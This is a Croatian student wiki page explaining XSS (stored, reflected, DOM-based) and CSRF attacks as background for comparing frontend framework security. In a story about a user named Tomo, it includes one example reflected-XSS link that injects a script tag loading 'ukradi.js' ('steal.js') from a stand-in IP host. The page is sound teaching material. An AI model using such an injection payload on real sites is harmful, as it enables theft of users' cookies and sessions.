Uspoređivanje sigurnosti između frontend frameworka

Izvor: SIS Wiki
Skoči na: orijentacija, traži

Uspoređivanje sigurnosti različitih frontend frameworka, njihova pervencija napada(XSS, CSRF/XSRF).


Sadržaj


Uvod

Kada pomislimo na web sigurnost prvenstveno pomislimo na back end sigurnost, odnosno na sigurnost podataka koji su smješteni na serveru. Istina je da su podaci smješteni na serveru i da im se pristupa kroz back end, ali treba imati u vidu da su ti podaci preuzimani i prikazivani od front end strane što otvara prostor napadačima ugroziti iskustvo korištenja korisnicima. Primjer front end napada su XSS i CSRF napadi. U nastavku će biti opisani takvi napadi, te načini na koji se oni sprječavaju u nekim front end frameworkovima.


Cross-site Scripting (XSS)

Cross-site Scripting (XSS) napadi su vrsta injection napada, gdje se skripte injectaju u korisnicima pouzdane stranice. Kako bi se izvršio XSS napad, napadač mora kroz web aplikaciju poslati zlonamjerni kod (obično client-side skripte) korisniku koji pristupa stranici. „Rupe“ koje napadaču omogućavaju napade su obično input HTML elementi čiji se sadržaj ispisuje negdje na stranici bez prethodne provjere unesenog sadržaja u input element. Prilikom korištenja stranice korisnik nije uopće svjestan da je napadnut, odnosno da mu se odvija skripta koja nije izvorno namijenjena za stranicu koju posjećuje. Takve zlonamjerne skripte mogu pokrasti stvari kao što su sadržaji cookie-ja, sesija, sadržaj stranice itd. Treba naglasiti kako su XSS napadi jedna od najčešćih vrsta napada koja se događa na webu.

Postoje 3 vrste XSS napada:

• Pohranjeni XSS (Type 1) – pohranjeni XSS se događa kada napadač ima mogućnost kroz input elemente spremiti zlonamjerni kod na server. To se obično događa kroz forum postove, komentare na stvari i slično. Opasan je zbog toga što će se učitati svakom korisniku koji pristupi stranici na koju se očitava zlonamjerni kod spremljen na server.

StoredXSS.PNG


• Reflektirajući XSS (Type 2) – ovaj XSS napada koristi GET i POST zahtjeve sa URL-ova, kojima se pristupa obično kroz poveznicu na napadačevu stranicu koja će poslati POST zahtjev stranici koju želi napasti. Ova vrsta napada je manje opasana jer zahtjeva od korisnika da klikne na poveznicu koja će ga odvesti do zlonamjerne skripte.

ReflectedXSS.PNG

• XSS baziran na DOM (Type 0) – ova vrsta XSS napada ne koristi server prilikom izvođena, odnosno svi zaraženi podaci, od izvora do ponora se nalaze unutar preglednika, odnosno unutar DOM-a. Tako npr. izvor može biti URL, a ponor može biti neka funkcija koja će izvršiti zlonamjernu radnju.

DOMXSS.PNG

Primjer XSS napada:


• Tomu zanima sport i prati određenu stranicu koja donosi sportske novosti.

• Jednog dana, tražeći sportske novosti naiđe na oglas koji oglašava novu stranicu sa najnovijim vijestima iz svijeta sporta.

• Kao sportski fan Tomo odluči kliknuti na oglas. Tomo nije uvidio da poveznica izgleda nešto slično kao: http://nekastranicazasportskenovosti.hr?search=nogomet%3Cscript+src%3D%2210.100.0.40:8080%2Fukradi.js%22%3E%3C%2Fscript%3E

• Poveznica izgleda kao nešto komplicirano, ali kad se poveznica malo dekodira ona izgleda kao: http:// nekastranicazasportskenovosti.hr?search=nogomet <script src=”10.100.0.40:8080/ukradi.js”></script>

• Stranica na koju je Tomo kliknuo će se otvoriti, te će se pretražiti pojam nogometa, odnosno izlistati će se članci vezani uz nogomet, ali će se izvršiti i skripta koja je skrivena unutar URL-a


Cross-Site Request Forgery (CSRF)

Cross-Site Request Forgery (CSRF) napadi su napadi gdje korisnik web aplikacije, koji je ulogiran u nju, izvršava neželjene radnje na njoj. XSS napadi su se temeljili na korisnikovom povjerenju stranici koju posjećuje, dok je kod CSRF napada situacija obrnuta, odnosno stranice imaju povjerenja u korisnikove radnje. Način na koji CSRF napadi funkcioniraju su takvi da napadač korisnika prevari na način da phishing metodama natjera korisnika da pošalje zlonamjerni zahtjev. Nakon toga on može preuzeti korisnikov identitet i sve privilegije koje dolaze skupa s njim te raditi zlonamjerne radnje u korisnikovo ime. Kako preglednici funkcioniraju tako da ne provjeravaju tko ulazi na koju stranicu, odnosno ne provjeravaju način na koji smo mi dobili sadržaj cookie-ja ili sesija, nego oni samo provjeravaju da li je sadržaj točan, to svojsto daje mogućnost napadačima izvršavati ovakve vrste napada. Preko zlonamjernih zahtjeva napadač može saznati sadržaj cookie-ja, IP adresu i sl. Pomoću CSRF-a napadač može raditi transakcije u ime korisnika, promijeniti njegovu šifru, izbrisati račun itd. CSRF je poznat i pod drugim imenima kao što su XSRF, Sea Surf ili Session Riding, te je također jedan od najčešćih vrsta napada na web aplikacije.

CSRF.PNG

Osobni alati
Imenski prostori
Inačice
Radnje
Orijentacija
Traka s alatima